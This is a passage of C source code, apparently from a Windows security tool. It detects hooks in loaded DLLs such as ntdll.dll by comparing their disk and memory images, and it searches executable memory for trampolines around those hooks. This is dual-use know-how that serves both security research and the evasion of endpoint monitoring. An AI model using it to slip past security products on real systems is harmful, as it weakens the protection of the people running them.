diskDLL = PE_create(disk_dllContent, FALSE);
if (NULL == diskDLL) {
debugf("\tError : PE_create\n");
continue;
}
PE_rebasePE(diskDLL, memDLL->baseAddress);
for (DWORD nameOrdinal = 0; nameOrdinal < diskDLL->exportedNamesLength; nameOrdinal++) {
LPCSTR functionName = PE_RVA_to_Addr(diskDLL, diskDLL->exportedNames[nameOrdinal]);
DWORD functionRVA = PE_functionRVA(diskDLL, functionName);
IMAGE_SECTION_HEADER* functionSectionHeader = PE_sectionHeader_fromRVA(diskDLL, functionRVA);
if ((functionSectionHeader->Characteristics & IMAGE_SCN_MEM_EXECUTE) == 0)//not a function
continue;
PBYTE disk_functionStart = PE_functionAddr(diskDLL, functionName);
PBYTE mem_functionStart = PE_functionAddr(memDLL, functionName);
//check if hook was already detected in this function (due to export aliasing)
BOOL alreadyChecked = FALSE;
for (size_t i = 0; i < hookList_i; i++) {
if (hooksList[i].mem_function == mem_functionStart) {
alreadyChecked = TRUE;
break;
}
}
if (alreadyChecked)
continue;
if (isFunctionHooked(functionName, diskDLL, memDLL)) {
printf_or_not("[+] [Hooks]\t\tHook detected in function %s (0x%08lx)", functionName, functionRVA);
hooksFoundInLastModule = TRUE;
PVOID jmpTarget = hookResolver(mem_functionStart);
if (NULL == jmpTarget) {
printf_or_not("...but not a JMP, maybe a false positive (data export) or unimplemented hook recognition\n");
}
else {
LDR_DATA_TABLE_ENTRY* hookTargetModuleEntry = getModuleEntryFromAbsoluteAddr(jmpTarget);
for (DWORD i = 0; i < 40 - strlen(functionName); i++) {
printf_or_not(" ");
}
// TODO: Fix hooks resolver to identify dll
// printf_or_not("-> %ws+0x%tx", hookTargetModuleEntry->BaseDllName.Buffer, ((PBYTE)jmpTarget) - ((PBYTE)hookTargetModuleEntry->DllBase));
if (csvFile) {
fprintf(csvFile, "0x%p;%ws;%ws;%s;0x%p;%ws+0x%tx\n",
currentModuleEntry->DllBase,
currentModuleEntry->BaseDllName.Buffer,
currentModuleEntry->FullDllName.Buffer,
functionName,
jmpTarget,
hookTargetModuleEntry->BaseDllName.Buffer, ((PBYTE)jmpTarget) - ((PBYTE)hookTargetModuleEntry->DllBase)
);
}
if (hookList_i >= hookListSize) {
hookListSize *= 2;
PVOID hooksListTmp = realloc(hooksList, hookListSize * sizeof(HOOK));
if (hooksListTmp == NULL) {
debugf("realloc failed\n");
exit(1);
}
hooksList = hooksListTmp;
}
printf_or_not("\n");
hooksList[hookList_i].mem_function = mem_functionStart;
hooksList[hookList_i].disk_function = disk_functionStart;
hooksList[hookList_i].functionName = functionName;
hooksList[hookList_i].list_patches = findDiffsInRange(mem_functionStart, disk_functionStart, PATCH_MAX_SIZE);
hookList_i++;
}
}
}
}
if (!hooksFoundInLastModule) {
printf_or_not("[+] [Hooks]\t\tNo hooks found in this module.\n");
}
if (csvFileName) {
fclose(csvFile);
}
if (hookList_i >= hookListSize) {
hookListSize++;
PVOID hooksListTmp = realloc(hooksList, hookListSize * sizeof(HOOK));
if (NULL == hooksListTmp) {
printf_or_not("realloc failed\n");
exit(1);
}
hooksList = hooksListTmp;
}
hooksList[hookList_i].mem_function = NULL;
hooksList[hookList_i].disk_function = NULL;
hooksList[hookList_i].functionName = NULL;
return hooksList;
}
/*
* Get a view of ntdll.dll PE both on disk and in memory, while caching it for later access
* "Rebase" the disk version to the same base address of the memory-mapped one for coherence
*/
void getNtdllPEs(PE** ntdllPE_mem, PE** ntdllPE_disk) {
LDR_DATA_TABLE_ENTRY* ntdllModuleEntry = getModuleEntryFromNameW(L"ntdll.dll");
PE* ntdllPE_mem_l = NULL;
PE* ntdllPE_disk_l = NULL;
if (ntdllMemPe_g == NULL) {
ntdllMemPe_g = ntdllPE_mem_l = PE_create(ntdllModuleEntry->DllBase, TRUE);
}
else {
ntdllPE_mem_l = ntdllMemPe_g;
}
if (ntdllDiskPe_g == NULL) {
PVOID disk_dllContent = ReadFullFileW(ntdllModuleEntry->FullDllName.Buffer);
if (NULL == disk_dllContent) {
exit(1);
}
ntdllDiskPe_g = ntdllPE_disk_l = PE_create(disk_dllContent, FALSE);
PE_rebasePE(ntdllPE_disk_l, ntdllPE_mem_l->baseAddress);
}
else {
ntdllPE_disk_l = ntdllDiskPe_g;
}
if (ntdllPE_mem) {
*ntdllPE_mem = ntdllPE_mem_l;
}
if (ntdllPE_disk) {
*ntdllPE_disk = ntdllPE_disk_l;
}
}
void test_trampoline_search()
{
for (HOOK* h = searchHooks(NULL); h->disk_function; ++h)
{
PVOID trampoline = NULL;
printf_or_not("[+] [Hooks]\tLooking for %s trampoline...\n", h->functionName);
for (PATCH_DIFF* d = h->list_patches; d->disk_ptr; ++d)
{
trampoline = (PBYTE)searchTrampolineInExecutableMemory((PBYTE)d->disk_ptr, d->size, (PBYTE)d->mem_ptr + d->size);
if (trampoline)
{
printf_or_not("[+] [Hooks]\t\tTrampoline found at %p !\n", trampoline);
break;
}
}
if (!trampoline)
printf_or_not("[+] [Hooks]\t\tTRAMPOLINE NOT FOUND !\n");
}
}